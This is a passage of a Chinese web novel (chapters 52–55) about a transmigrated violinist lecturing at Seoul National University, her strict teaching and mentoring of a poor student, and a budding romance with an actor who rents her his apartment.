浓郁的尼古丁被他吸入肺里，低落的情绪没有片刻缓解。 他打开了手机，给自家亲故发了一条消息。 「来我家，陪我喝一杯吧。」 姜东芫秒回：「这个时候你不应该躺在床上，开始睡你的养生觉吗？」 「现在没有进组。」 没有进组的话，意味着他可以放纵自己，也可以熬夜。 等人到了之后，姜东芫发现来开门的自家好友脸上，是一如既往的成熟稳重。 如果不是和他相识多年又足够了解，他也不会捕捉到，对方外泄了一丝低落情绪。 没有和他客气，他直接坐在他家餐吧旁边的高脚椅上。 “在家里喝酒有什么意思啊？平时叫你出来你都不出来的。” 他在椅子上摇摇晃晃，看着自家喜欢宅家的好友，有些不理解苦口婆心地说的。 孔浏只是笑了笑，没有和他分辨。转身去酒柜里拿出一瓶年份久的波尔多红酒，然后取出两个高脚杯。 暗红色的液体，轻轻地划入了天鹅型的醒酒器里，醇香的葡萄味酒味一瞬间迸发出来。 继续观察着自家情绪很少外露的好友，姜东芫发现他眼神暗藏着一丝不易察觉的黯然。 “不是吧？你这次真的铁树开花？准备不一人度过40代了？”这可真是一件新奇的事情。 他继续八卦地问道：“到底圈里的哪一位把你给拿下？是和你合作过《鬼怪》的金高垠吗？合作过两次的郑郁美？还是和全度妍因戏生情了？” “她不是圈内人……”孔浏的声音暗哑，之前烟草好像熏到他的喉咙，此刻扁桃体有些刺痛。 第52章 第五十二章 “圈外人？”姜栋芫吃了一惊，就自家好友这恨不得八百年都不出门的性格。又不社交又不接受相亲，是怎么能和圈外人产生交集的？ “怎么认识的？” 孔浏并没有把自己的感情和朋友分享的意思。看着餐边柜后的时钟，默默等红酒醒好。 “那对方是做什么的？”这个总能说吧！知道他感情经历相对干净，姜栋芫继续拷问着自家朋友。 “首尔大弦乐系的非专职讲师，87年生的美籍韩裔。”简单的两句话概括了对方的基本情况。 20多分钟过去，酒也差不多醒好了，他从醒酒器里把红酒分到两人的波尔多杯里。 雪松、紫罗兰、黑醋栗的味道盈满两人的鼻尖。 两人默契地一起端起酒杯轻轻摇晃，进一步醒掉酒液里酸涩的味道。 “这有些难办了！”姜栋芫的眉头蹙的很紧，手里摇晃的动作不自觉地停了下来。 他帮自家好友分析道：“对方是韩裔，但是能学起这种费钱的乐器，说明在美国家境至少中等以上。能够应聘上首尔大，受教育程度应该很不错。” “加上我们国家医生、律师、老师这类职业很受尊敬，尤其首尔大的老师更是处于职业食物链的顶端。” 孔浏的心脏上像是被压了一团乌云，脸上的表情开始有些凝重。 他有些自嘲地笑笑，举起酒杯浅啜一口，醇厚浓郁的酒精也不能让他心情好转半分。 自家好友每一字每一句，都像是说到了他的心坎上。他如果要和宋玉妍在一 起的话，要面临的问题不止这些，两人的年龄、文化背景、家庭，都是横在中间的坎。 “不过你现在想这么多干什么？”姜栋芫和他碰个杯，清脆的玻璃发出好听的敲击声。 “还没有在一起你就想这些，说不定对方对你没有这样的兴趣？” 果然是亲故，不是亲故的话，说话都不一定会这样一针见血。 他被这句反问给问沉默了，默不作声地举手往嘴里再送了一口酒液，暗红色的液体顺着透明的杯壁滑入口腔。 醒过之后的酒褪去了酒精的酸涩和辛辣，独留属于葡萄的绵软、顺滑、十足的馥郁。 顺着食道而下，仿佛柔和的酒液滋润着干燥的灵魂，孔浏越喝越觉得清醒，越喝越觉得头脑清明。 灯光下穿着家居服的男人有些独一份的氛围感。姜栋芫不禁感叹，要是他是女生，另一半就按自家亲故这样的模板来找。 “也许对方对我没有这种想法，可能是只把我当朋友。在我选开启一段关系之前，总是会把所以都考虑进去，否则会有些不负责任。” 孔浏苦笑了一声，很久都没有过这种独自难受的情况了。 人总是会随着年纪的增长，不断地控制着自己的情绪。越发吝惜付出自己的爱意，也更少受到伤害。 唇边有一点红酒渍，他抽出柔软的纸巾拭去，简单的动作却带着莫名的欲气。 听到这话，身边的人不赞同地摇了摇头。“你总是想的太多，感情上面总是瞻前顾后的。但凡要是有接剧本时一半的果决，也不至于空窗期这么长。” 当初所有人劝他不要拍《熔炉》，他一意孤行。虽然后续的高昂的回报证明了他的眼光，当时谁能知道那部电影最后能取得这么大的成就？ 《男与女》也是，孔浏想要撕下自己身上的标签接的，当然这个本子还是很优秀的作品。 “算了，不说……”姜栋芫知道有些东西是劝不住的。“不过我能拜托你一件事情吗？” 一时间室内只剩酒杯碰撞的声音，和淡淡的红酒香气。 到了宋玉妍第一天报道时，学校上午派了一位后勤人员带她，大致地了解一下学院里整个弦乐系的构造。 两人并排漫步在校园中，对方向她介绍道：“这边是学生休息的地方，很多器乐系学生在练琴练累了会考虑来这边休息一下。这里的长椅很受欢迎，一到中午饭点，经常供不应求。” 她打量一下周边发现景色没有什么出挑的，就算是长椅也只是很简单的木板组装而成的。 “那边就是我们给学生提供的练琴地方了，一栋楼里总共有上百间琴房。” 宋玉妍忍不住地点了点头，能在寸土寸金首尔市中心提供这么多空间供学生使用，学院还是很重视学生的演奏水平的。 “这边是只有弦乐系能用？” 后勤老师回答了她的问题，“不是，钢琴系和其他乐器的学生也一起在这里。” 走进之后各种乐器的声音高高低低地汇合在一起，有些杂乱，呈现出一种无序的美感。也许是演奏者都在努力让乐器发出最美妙的声音。 等对方和她介绍完基本的教室和小剧院还有排练的地方后，整个学院基本上也就走完了。 暮冬的首尔空气里还是充满寒冷的味道。只穿着大衣的她，在外面走这么一会鼻尖就红了，连忙把围巾拉到能覆盖住半张脸的位置。 等来到她未来的办公室后，发现里面坐着其他三位讲师，她们发现有人进来之后头抬了一下。 看到宋玉妍往之前那个休孕产假的专职讲师位置上走去，就知道她是学院聘请过来的非专职讲师。 他们只是看了一眼，就歇了打招呼的心思，反正对方一年之后也要走的。 现在关系亲近，对以后也没有什么助益。年纪这么轻，恐怕会哪位领导安排来镀金的。 看着其他人自顾自地做自己的事情，带她来的那位后勤老师也很尴尬。 她帮宋玉妍把桌上堆积着好几摞杂乱的乐谱放了下来，然后拿出纸巾把积满灰尘的桌面浅浅擦一下。 “宋玉妍xi，这里就是你以后办公的地方了，你课表上下午排了课，别忘记了！” 职场里到处都是人情世故的小细节，首尔大的政治意义更是让这里和象牙塔这三个字不沾边。 以后要和同事相处的是她，很多事情别人也是爱莫能助。 “谢谢！”她真心实意地道谢。对方已经算得上是尽心尽力了。 看着她姣好的容颜，后勤老师脸上涨上一抹浅粉，谁会不喜欢又好看又有礼貌的人？ 等她走后，宋玉妍没有上赶着主动和另外三人攀谈。而是自顾自地把办公桌整理好后，把自己带来的琴盒放在角落，靠墙立起来。 另外三人看她忙完之后对视一眼，心想这下她应该会主动和前辈打招呼了？ 一年之后她能不能继续留在首尔大，同事的建议可也是很重要的一环。 她不管他们，拿着茶杯去泡了一杯茶，茉莉花和绿茶的清香一瞬间在不大的室内散发。 海藻一般的黑色长发被她放在身后，白瓷一般的肌肤在日光灯下显得越发肤如凝脂。温婉的五官亲和力拉满，但清冷的气质不笑的时侯给人一种拒之千里之外的感觉。 看着她安之若素地翻着教材，另外的人心头窝火。 不应该主动和前辈鞠躬打招呼吗？就算是关系户，也应该懂得前后辈礼仪，让他们多多关照吧。 「宿主，你是在故意晾着他们吗？」 「是的啊。」宋玉妍看着手下的教材，黛眉浅蹙了起来。很多专业类的名词，韩语上翻译的并不准确。 「有的时候你主动去热脸贴冷屁股，人家只会觉得你居心叵测，另有所图。但一旦你冷漠惯了，突然给他们一个好脸色，对方只会觉得受宠若惊。」 当然，这是建立在她目前对对方无所求的情况下，要是真的想要留下，那还是殷勤一点。 室内的气氛一下子变得冷凝又焦灼，另外三人像是憋气一般，数着时间到了中午饭点。 这下她应该会主动过来说话了吧！毕竟新来的不一定知道首尔大的食堂在哪里，总不可能放弃应有的福利吧！ 宋玉妍没有理他们，自己去了一家校外的一家拉面馆解决午饭。 等她走后三人瞬间抱团，一边往外走，一边不忿地交流道：“她这是什么意思？不把我们放在眼里？” “不知道，像是哪个二代，送过来镀层金。”办公桌在窗边的那位耸了耸肩。对方都不在意他们，怎么会听他们的调遣？ “应该不是，如果是二代的话领导肯定亲自带过来，而不是随便指派一个后勤的人带她熟悉。” 一般来说，空降的岗位根本不会对外招聘。都是内部推荐之后，韩部长亲自带过来。他们也就知道对方惹不起，职场上隐形的霸凌行为就会少很多。 “那我们怎么办？就让这个新人这样没礼貌下去？”最先发问的这位男性很是不爽，感觉被宋玉妍给了个下马威。 “到时候和韩部长述说一下对方的工作态度吧。”坐在宋玉妍对面的男性推了推自己的眼镜，“好心”的提议道。 能来首尔大做讲师的，谁不是天之骄子？谁又不是被前辈压着过来的？凭什么她可以特殊？ 到了下午，她依然没有主动和同事打招呼的意思，拿起琴盒和教材就去教室上课了。 韩国大学的第一个学期都是三月份开学，这就意味着这个班的学生大一快结束了，宋玉妍才开始接手。 小型的教室犹如一个室内乐厅，虽然年岁较久，但是装潢很是考量。 推开门一看，室内有着一百来个座位，像演奏厅一样呈环形阶梯状，不大的舞台的角落里立着一架黑色的三角施坦威钢琴。 学生们抬起头，看到这位比自己年纪大不了几岁的老师，眼睛里面闪过一丝怀疑。 甚至有 几位打算等这节课结束之后，就和家里人反应，让家委会给学院施压。他们花出比普通学生高十几倍的学费，可不是为了让南郭先生来这里浑水摸鱼的。 第53章 第五十三章 像是知道因为自己过于年轻，不足以让这群学生对心服口服。宋玉妍装作对底下对骚动全然不知，自顾自地开始自我介绍。 “虽然我没有比你们大上几岁，但是自认为在小提琴上，还是能有些经验可以传授给你们的。”她脸上扬起一抹自矜的笑容。 “毕竟我11岁时就拿到了梅纽因赛事的一等奖，15岁时运气好，又拿到了柴可夫斯基小提琴金奖。” 但凡了解过这门乐器的都知道这两个奖项的含金量。如果没有绝对的实力，是不能让这群来自南韩各地的精英对她心悦诚服的。 年纪轻轻就能在国际赛事上斩获最高荣誉，这让底下的学生对她的水平有了一个清晰的认知。 “此后我一直在朱莉亚音乐学院求学，人生的一半时光都在那里度过。”说到这里，她的眼底浮现出一抹怀念。 如果不是因为父母的控制欲望太过强烈，想来原身也不会下定决定离开自己的舒适区，选择在全世界“流浪”。 宋玉妍从琴盒里取出自己备用的小提琴，这把琴音色不如古董琴那样柔和。但声音也很成熟，用来教学是绰绰有余了。 “无巴赫，不古典。我先给你们示范一曲《G弦上的咏叹调》。” 手下没有真材实料，不能压服这群学生的话，日后的工作很难开展。 说不定教授时，这群学生还会来一句：你行你上啊！现在宋玉妍撸起袖子，明摆着告诉她们，我行我还真能上。 她微微拧了一下琴轴，确定四根弦大致的音在440hz范围内后，又微调了一下。 琴弓从弦上擦下第一个音符，松香的灰尘在空气里散落，被肉眼捕捉不到。 灯光挥洒在她的身上、琴上、手上，藏青色的连体长裙衬得她一静一动都十分优雅。脸上的笑容温婉，连贯的音符像是平静的水湖上起了一圈又一圈规整的涟漪。 轻盈中又带着秩序的美感。 她右手的基本功很扎实，在弓尖部分演奏时，手臂上的肌肉线条更加明显。每一个音都十分悠长，纯净般、诗意一样的旋律从她手下流淌出来，让演奏者像是用琴声在和永恒对话。 巴赫音乐中的神性在这一刻酣畅淋漓地体现。 宋玉妍脸上温婉的笑容不变，第二段旋律的起伏更大了。 重音时左手在指板上的力道稍稍加大揉弦不再是蜻蜓点水般，而是运用了一点点手臂。等到颤音时，手下的动作更加轻柔到小心翼翼的地步。 高潮和平缓交替出现，像是林间一直流转的清风，在她琴弓的指挥下往她需要的地方吹过。又像是海岸边起起伏伏的浪花，大小交错，带给人不一样的安宁。 最后音符回归静谧，留给听众无限的想象。 这算得上是小提琴最著名的曲目之一，对于在座的人来说，在技巧上拉奏都不难。 难的是能把简单纯粹的旋律拉出曲子里神圣的调性，只在G弦上演奏所有的主旋律就注定这首曲子的丰富性不如其他。 总之，很考验演奏者的功底。但宋玉妍在没有钢琴伴奏、没有低音伴奏的情况下，拉出了隽永的意味。 台下的学生一时间都反应不过来，仿佛在沉醉在那触及心灵的美好中。过了半分钟，他们才如梦初醒，开始鼓掌。 能够不花钱，就听到大师级的演奏水平，看来这次学院找来的非专职教师并不是水货。 这让教室里一时间都是掌声的回音。 宋玉妍看到他们的反应之后，这才舒了一口气，不枉费她这几天一直在苦练这首曲子。所有的技巧、细节，都是经过反复的练习，靠着自己的感悟一点一点地磨出来的。 “自我介绍一下，我叫宋玉妍，以后是你们演奏方面的老师，如果有专业性的问题都可以来找我。” 她把琴放好，双腿交叠坐到属于自己的位置上。 首尔大弦乐系都是采取小班制授课，一个班也就十几个学生，而小提琴专业一个年级也就一个班。 这样的录取率可以说是万里挑一，只有足够优秀、家庭条件不错又有天赋的学生才能进入这里深造。 “在我的第一堂课上，我想要告诉大家的是，在没有获得充分的运弓技巧之前，花时间去发展左手是没有意义的。我知道你们有些人为了考学，只练习固定的那么两首曲子，这显然是不可取的……” 这节课主要是纠正他们拉琴时的坏习惯，她先是和他们说了一些右手的练习方法，比如手腕要放松能熟练地控制住琴弓。 并并且针对弓根和弓尖处要做特殊的训练，因为这两处比中段更难以掌握。 她再次拿起小提琴示范，琴弓像是她的手臂那般听话。拉空弦时，琴弓的运动的轨迹几乎是一条直线。 下面的学生紧紧地看着，不放过任何一个发的细节。就算他们离职业演奏家只有一步之遥，这样的流畅演奏能力也是可望而不可及的。 “只有你的右手能够足够地掌控琴弓，做到每一个音都能绝对均匀，这样乐器的歌唱性才能发挥到最大。” 不知不觉中，一节课很快过去了。她拿出手机看了看时间，给他们布置了今天示范过的《G弦上的咏叹调》。 “下节课是两天后，我会拖延课堂时间，你们所有人都要上来拉一次这首曲子。在每人拉奏的时侯，其他非独奏的去拉伴奏。” 这话一出，下面所有的学生都开始哀嚎一片，然后开始议论纷纷。 “两天时间是不是有点太仓促了？” “对啊，我们不但要练习独奏部分、掌握伴奏，还要和同学配合，这都要不小的一段时间。” 看着这位年轻老师温婉、姣好的面容，这给了其中胆大的一位希望。 也许这位新老师好说话呢？ 他提出疑问：“老师，这是不是太仓促了？我们没有这么多时间练习。” “当然是有些仓促。”宋玉妍笑眯眯地说道。这让学生松口气，多给一天的时间都好，看来这位老师并不是那么不近人情。 “如果你们已经进入乐团工作，指挥因为调整曲目需要，给两天的时间让你们熟悉，你们还会讨价还价吗？” 话锋一转，她的脸上满是寒霜。“如果这是你们的素养，那我告诉你们，将来毕业时，任何人都别想从我手中拿到推荐信。” 室内瞬间安静下来，原本还在抱怨不满的学生，此刻噤若寒蝉。 “好了这节课就到这里吧！” 等她走后，教室内直接沸腾成了一锅粥，大大小小的声音荡着回音。 “感觉这位老师自己是天赋型选手，以为我们和她一样，拥有绝对音高的天赋。”最先发问的那位似是不满似是抱怨地说道，但语气里满是认可。 “她刚刚好可怕啊，感觉我们再反驳一句的话，她会直接让我退学。” “怎么办啊，感觉肯定练不完！巴赫我很少碰的，一般老师留下的课业不都是那四位的协奏曲吗？” “怎么办！练呗！不然真的毕业时侯不拿推荐信了？” 在南韩这个社会，就算毕业于首尔大，艺术圈还是很看人脉。没有推荐信基本上意味着和好工作无缘，别说进韩国国立交响乐团了，就连出国深造都够呛。 家庭平凡的朴昭愿推了推自己的黑框眼镜，慢吞吞地说道：“要不我们今天晚上回去占着琴房，自己把曲目 练熟。然后明天一起排练合奏，后天上午给每个人两次合练的机会。” 她三言两语就把章程给敲定了，其他人觉得这已经是目前最好的办法了，也就都同意了。 另一边的宋玉妍走出校门，孔浏在拐角处打着双闪。从车窗里探出头来，朝她挥了挥手。 “这里！” 她找到那辆白色的玛萨拉蒂Levante，打开这辆SUV的副驾，坐上去。古驰的手包搁置在腿上，转头一看，驾驶位上的人今天穿了一件男士吸烟装。 黑色天鹅绒和羊毛拼接而成的质地看上去硬挺又有质感，垂坠挺拔的效果加上枪驳领的设计完美地贴合了他成熟又硬朗的气质。点睛之笔是胸口上那个主石为正方形的钻石胸针，在深色增添了一抹亮彩。 侧脸的线条流畅，喉结明显，夕阳暗黄色的暖光为他打下利落的剪影，唇线微微上扬显示着他的好心情。 “穿这么正式，是等会要去走红毯吗？”宋玉妍调笑了一句。 孔浏有些不好意思，右手用力地握着方向盘。左手在她看不到的角度，不自在地轻轻**了自己的耳朵。 “等会要去吃法餐，餐厅有着装要求。”这句话一出，像是解释又像是在掩饰些什么。 她的目光落在对方的侧脸上，嘴角的梨涡若隐若现。偏头时的温柔，像是洁白的梨花瓣，随着春风，落到草地上一样轻柔。 他始终不敢往右侧看，眼睛固执地盯着前方的道路和自己这边的后视镜。有些不敢和她对视，又像是在为要说出口的话斟酌。 “看来我今天这身着装是不是不够正式啊！”宋玉妍今天指穿了一件普普通通的藏青色长裙，外面是黑色外套。 终于，他在等红灯的间隙认真地看了她一眼。窗外世界的喧嚣与人擦身而过，车里的人恍若未闻，目光从她身上一处处丈量而过。 “不会，很漂亮！”方向盘上的纹路几乎要被孔浏的指腹磨平，等红灯完了、头回正才回复这么一句。 被他反应逗的一乐，她捂着嘴靠在车壁上，笑得身体微微颤动。 犹豫很久，他终于还是开口：“我的一个朋友……他的侄女也是学小提琴的，今年想要……考首尔大。” 这个话题让他有些难以启齿，但是受到自家亲故软磨硬泡的拜托，到底还是问出来了。 宋玉妍瞬间坐正，笑容顿时收敛起来，神色冷静看不出情绪。 第54章 第五十四章 她右手的食指和中指互相摩擦着，此刻忽然很想点一根烟，但是想到烟会让琴弓上沾染不好的味道。也就作罢了，这个世界暂时让宋玉妍改掉了这个坏习惯。 孔浏在心里责怪了姜栋芫一万次，如果不是他，自己也不至于在喜欢的人面前如此狼狈。哪有还在date阶段就拜托女方帮忙的？ 也正是因为他是自己多年好友，所以才硬着头皮开口了。 “你知道我们上私课费用不便宜的吧！”她看了一眼自己腿上的包，觉得确实也应该换了。 “她家里条件怎么样？家里人支不支持？如果不算特别支持的话，韩艺综也是不错的选择。” 这是在很委婉地表明了态度，如果家里条件不好的话，不要想着冲首尔大。而且她也不可能白干活的，艺术类的课外辅导费用贵的可怕，更何况还是首尔大讲师的辅导费用。 像是回到了学生时期，孔浏一板一眼地回答她的问题。 “家里条件还不错，除了请高考协调员的费用，还额外准备了2亿韩元，用来课外提升。” 在开口之前他当然就要把情况了解清楚，不然支支吾吾的场面会很难看。 “那可以，我一般周五晚上有时间的，等我在首尔租好房子，你到时候让她晚上七点过来。”她用素白的手指捋了捋自己的裙角。 宋玉妍瓷色的脸上满是温婉的笑意，但是说出口的话就没有那么温和。 “到时候先试一节课吧，你让她的家长也来一下。如果天赋一般的话，还是选择好好考文化吧！这么多钱找老师补课加上社会活动分数上s.k.y的几率更大。” 绝口不提一节课的课时费，她觉得还是得试完课再聊这些比较好。 这就是首尔大的非专职讲师明明待遇不高，却还是有人趋之若鹜的原因。借着这个金字招牌出去上私课，赚到的钱可比从学校拿到的钱多得多。 但这也要看具体专业和讲师的职位。 明明是帮好友开口，孔浏却觉得如坐针毡、度日如年。 虽然演员的赚到的钱会比中产阶级多很多，但是像首尔大这样的高等学校里受人尊重的讲师是不太愿意和他们打交道的。 看着她的神色一如既往，既没有自满又没有自持身份的傲慢时，他在心底松了一口气。 到了一家高级商场，孔浏先把车停到固定的停车位上，然后带着宋玉妍走专属直达的垂体。 垂梯里面有一位专属的电梯小姐，朝着他们笑了笑，用手帮他们挡住电梯门。“晚上好，两位。”随后按上去顶层的按钮。 “这家餐厅的私密性很好，狗仔几乎没有别的办法进来。”孔浏稍稍侧头解释道，让她放下心，自己艺人的身份不会给人生活带去麻烦。 她只是点了点头，像是有些疲惫，捏着手包未发一言。 在有些刺眼的壁光折射而下，从身后镜子上反射到她修长白皙脖颈上的光泽煞是好看。他几乎挪不看眼，余光一直在耳垂到肩膀初游移。 他想：她身上还是有点太空了，如果有珠宝的点缀，整个人都会更加光彩夺目。 跟着侍应生的带领，穿过门厅，入眼的风格并不是什么法式中古风。 这里装修更加偏现代化，整个旋转餐厅以黑、灰简洁的颜色为主调，透明的落地窗外可以360度欣赏到这片的夜景。 地板是深灰色的原木，天花板上是极具设计感的不规则吊灯。最中心的地方做了一个圆形的吧台，里面放着几张几套桌椅，角落处摆着一架黑色雅马哈三角钢琴。 他们路过一个植物空间设计品，宋玉妍为其驻足。 铁架上方的是一盆垂丝茉莉，花剑很长，搭配着山石，错落地放置。下端是鸭脚木、肾阕、商陆、苔藓互相搭配。 让人好像能步入深山，感受一份独属于自然的静谧感。 宋玉妍拿出手机拍了一张照片，对于美她总是不吝惜自己欣赏的目光。 旁边的人静静地等她拍好，虽然他不太能欣赏这个置景。但是因为她，孔浏也觉得这里多了一份自然的意趣。 “想着你刚回国，可能吃不惯韩餐，就先带你来这里试试西餐。”他抢过侍应生的工作，殷勤地为她拉开座椅。 宋玉妍有些无奈扶额，看着桌上花瓶里插着的妍丽白玫瑰。打算等一会餐前面包端上来之后多吃几个。 面包不吃饱的话，这顿饭吃完，她得饿着出去。 “其实……”其实她是标准的种花胃，每天必须吃米饭的那种。但是是对方付钱，也不好多说什么。 “法餐用时会不会太久了？” 一顿饭动则三四个小时，属于刚吃完饭就会饿的程度。 他有自己的小心思，想要和对方多相处一会。这样两人互相了解的时间就会加深。 “阿尼，这家店的菜品值得花这么多时间等待。” 前菜上来之后，宋玉妍不顾面子地往自己的餐盘里放了四个小面包。然后用刀给它抹上法国空运过来的生黄油和橘子和桂花蜂蜜混合发酵成的酱。 看着她率真的样子，孔浏不由地哑然失笑。明明这样并不符合用餐礼仪，但他却一点都不觉得对面人粗鲁。 “抱歉，我在美国时就吃不惯法餐。”她不好意思地笑了笑，但手上的动作一点都没有停下来。把一个面包塞到嘴里后，充 分咀嚼咽下。 “莫？那你一般吃什么？” “如果是在家的话，家里人一般都是做酱骨汤配上米饭，泡菜和煎蛋烧。”等嘴里的食物完全咽下后，她回答道。 这是宋玉妍家十年如一日的菜色，除非过节，否则不会改变。 “如果是在学院的话，就会和同学一起去吃快餐或者中餐。” 孔浏默默地在心底记下了对方的喜好，看来这次约会有些不顺。他拿起玻璃杯，喝了一口苏打水。 等前菜上来，侍者把摆在精致的瓷盘上，还没有手掌一半大的鹅肝白兰地酿酸梅，放在两人面前。 宋玉妍木着一张脸拿起叉子，一口就给吃完。 然后是漫长的二十多分钟间隙，她开始和孔浏聊关于《熔炉》的台前幕后。 当知道拍摄时，光州政府甚至拿高压水枪对着他们喷射，以此来逼迫他们放弃项目。 她就有些感同身受地愤怒，韩国政府什么时候能拿出捂着大众嘴的精力，去把事情解决？ 孔浏不太想和对方聊太多这么沉重的话题，“对了你不是说，房子还没有找到吗？我在龙山那边有一套公寓，离首尔大还算近。” 宋玉妍放下手中叉着面包的叉子，“会不会很贵？我现在租不起太贵的公寓，首尔大给我开的薪酬不足以我过太过奢侈的生活。” “不会！”他笑了笑，再次抢过侍应生的工作，给她倒杯苏打水。 “市价租金也就一百万韩元一个月。” 她在心底权衡了一下，虽然存款所剩无几，但是也还在她的负担范围内。“我不太能接受全租房的模式，月租可以吗？” “当然没有问题！”孔浏垂着头，尽力掩饰那上扬的嘴角。对方答应租房，这是默许他更近一步意思。 心底的喜悦没有地方可以存放，手指轻轻地随着室内的音符打着节拍。 到了验收学生练习成果这天。 宋玉妍没有带琴盒，只带了一张考核表，一进教室就坐到面对舞台的第一排正中间。 把包往旁边的位置上一放，双腿交叠，表格放在上面，等学生们按照固定的站位站好。 “开始吧，让我看看你们的实力！” 第一个演奏《G弦上的咏叹调》的学生应该是对自己的水平很有自信，不然不会选择这个次序。 谁会想成为抛砖引玉的那个砖呢？ 她抬头一看，是之前那个和她讨价还价的学生。开始饶有兴致地注视着舞台，第一个还是有点新鲜感的。 第一个音符一出来，她眉头就开始紧皱了起来，桃花眼浅浅地眯了起来。 视线一直盯在他琴弓和弦接触的小角度上。 右手的手腕不够放松，完全靠着手臂了力量去控制着琴弓。这样导致加注在琴弦上的力太多，出来的声音很闷，完全丧失了小提琴的歌唱性。 其他的指法，跳弓、揉弦到还差强人意，但是！小提琴最主要的就是音色，这种缺乏品质单薄的演奏简直糟糕透了！ 宋玉妍大笔一挥，凭着过人的记忆力吧他的脸和纸张上印刷的名字对应起来，在后面打上65。 学生一个个从伴奏席往前站，演奏完之后又一个个退回去。 重复的曲调听得她昏昏欲睡，抛开节奏、音准的问题，他们存在的问题都大同小异。 右手的练习不够，不够细腻的运弓导致导致不能发出达到她要求的音色。 宋玉妍面上好像是在全神贯注，实际早就走神了。校外的那家拉面她也吃腻了，南韩的饭菜是真的难吃，等搬去新的公寓她要自己做些好吃的。 是做湘菜还是淮扬菜呢？ 突然一个柔和的长音如同石破天惊一般，直接导入她的脑海。 宋玉妍猛然抬起已经垂了二十几分钟的脑袋。打量着这个女生，从她的衣着上来看，家庭并不算优渥。 其他学生穿的都很精致，各种大牌的小礼服，看的人目不暇给，仿佛进入了时装秀场。但是她没有，简简单单的白衬衫和有些发白的牛仔裤，头发干干净净地盘在脑后。 但是她右手的基本功是这批学生里面最扎实的！除了拉第一段落时，左手运指有些游移，像是在小心翼翼地确认音准。其他的包括表现力，都比前面那些学生的水准高一个台阶。 是好学生的模板啊！ 第55章 第五十五章 在她拉奏的时侯，宋玉妍几乎是全神贯注地盯着她。 看各种处理的细节，虽然有些部分还是有些粗糙。但已经形成了自己的风格，琴音缠绵温柔，像是春风拂过一样浪漫。 她的眼睛里面划过一丝赞赏，总算有一个能听的了。等拉完后，宋玉妍在她的名字后面记录上89，随后发问：“你叫什么名字？” 女生似是没有想到老师会注意到自己，放下琴回答道：“朴昭愿。” 宋玉妍点了点头，继而沉默地看着这批学生。 说实话对他们的表现很不满意，这样的水平就连朱莉亚预科班都进不去。 老师的沉默给他们带来了极大的压力，小型会厅内弥漫着紧张的气氛。所有人大气都不敢出，低着头极力地避免和宋玉妍对视。 她紧紧绷着脸，很想说点什么，嘴唇嚅嗫了几下，最后微不可察地叹口气。 然后开始逐个点评：“第一个拉的时侯右手不够放松，出来的声音太过沉闷；第二个除了右手的问题，拉泛音时太过明亮的，谁告诉你巴赫是这样拉的？第三位拉的很幽默，不知道的还以为你在拉《幽默曲》，顿弓时完全控制不住弓尖，大臂的动作太多……” 她的视线一个个扫过，明明人是笑着的，但是嘴唇上的弧度呈现出一种皮笑肉不笑的讽刺感。 学生一个个害怕自己被点到，所有人的神经都崩的紧紧的。等她点评过了之后，又是难受又是松了口气。 “总之，完全看不出首尔大的水平。”她最后给这次的演奏会定了性，“练琴不要太浮躁，总想着去学新的曲目，但是以前学过的东西拉的一塌糊涂。” 看了看表，发现这堂课已经超出十多分钟了，宋玉妍也就不再多说什么。“下周依旧是巴赫，《恰空》你们好好准备。” 学生们目送她走出教室，看着她背影完全消失之后，室内像是炸锅了一样。 “我的天，刚刚完全大气都不敢出，她看我们的眼神好像在看垃圾。好像在说这么简单的曲目，为什么能拉成这样？” “我也是，感觉考完学之后，练琴的频率确实是降了下来。看来还是要专心一点，不然拿明年的奖学金够呛了！” “为什么巴赫要写这么多小提琴曲目？完全就不是人能够演奏出来的。”这样的哀嚎一出，引来一片附和声。 “老师nim只问了朴昭愿的名字，是不是就她比较出挑呀！” 已经离开的宋玉妍像是想到什么，忽然折返回来，原本嘈杂的教室顿时鸦雀无声了。 “朴昭愿，你跟我来一趟办公室！” 等两人一前一后进入办公室。 宋玉妍在学生面前她也丝毫没有给另外三位老师面子的想法，依旧不和他们打招呼。 她压低声音问道：“今年柴可夫斯基国际音乐比赛定在6月末，你有想法吗？” 朴昭愿的脸上有些的踌躇，她的家庭条件不足以支撑去国家比赛的花销。“老师nim，我……” 看到对方满是犹豫，宋玉妍还有什么不清楚的呢？叹口气继续说道：“机票、酒店什么的你不用担心。大不了我帮你先定好， 决定权在你，你自己想不想去？” 这个学生算得上是有天赋的了，从基本功上就能看得出是比较努力的那种。 要不是这样宋玉妍也不会起了爱才之心。 朴昭愿站在她身前，双手交叠放在腹部，目光犹豫不定，不敢对上老师殷殷期盼的目光。 她能考入首尔大已经是花光毕生好运了，家里对她最大的期望就是毕业之后能考上教师。 有一份稳定的工作，对她来说就已经是跨越阶级了！至于成为演奏家？那是富人的游戏，艺术向来和穷人没什么关系。 宋玉妍有些恨铁不成钢，但是又没有办法摁着人点头答应。她用两根手指支起自己的脑袋，看了窗外一眼，又叹口气。 像是想到这些年的努力，朴昭愿用力地咬住自己口腔的侧肉。吞咽时的血腥味在提醒着她，这也许是她离梦想最近的一步。 从年幼时，一意孤行拖着不好的家境开始学乐器。到现在，心底可能对小提琴还是有些热爱的吧！ “老师nim，我想去！”她抬起了头，眼睛里满是坚定和感激。 不管怎么样，都要试试看，也许错过这次机会自己未来都会后悔呢？ 宋玉妍给她写了个网址，“你把这个网站上面好好把要求看看，确定之后自己报名。曲目选定之后，每周五晚上八点来我家，我给你指导。” 她把孔浏要出租的那套公寓地址也写给她了。 “可是……”可是她掏不起课时费用，首尔大音乐学院的讲师上一节私课，基本上和抢钱没有差了。 “你先好好学，那些不是你要考虑的事情。”宋玉妍瞪了她一眼。 如果要捞课时费，她不会选择这个学生，班里有的是家庭条件更不错的。 朴昭愿接过纸条后，满怀感激地出去了。她觉得宋老师和首尔大其他的老师都不一样，不只是在艺术的造诣上更强。 还有多少像她这样有天赋的孩子被埋没了呢？看着学生的背影，她再次叹口气，就连落地首尔时，行李箱丢失都没有这么无力过。 等冬日寒冷的风一阵一阵地刮过，终于等到了搬家这天，孔浏自告奋勇地过来帮忙。 宋玉妍没有什么其他的东西，除了买的一些必要的衣物，就是两把琴。 不需要搬家公司，一辆小轿车的后备箱，就能轻轻松松就能装下。 等到了公寓才发现，这里和她第一次来的时侯相比，简直就是换了个样。从深色复古风的软装变成了法式奶油风，看起来更加柔和。 客厅里多加了一个核桃色调立式钢琴，藤编柜上的黑胶唱片机看起来很有格调。 她把自己的衣物归置好后，和坐在餐桌旁边的人说道“哪有像你这样的，租出去的房子还先花钱改软装加上其他的东西！” 孔浏笑了笑，把自己住过的公寓租给宋玉妍，本身就没有想着回报这回事。 他把带来的蒸糕放在原木色的桌上。 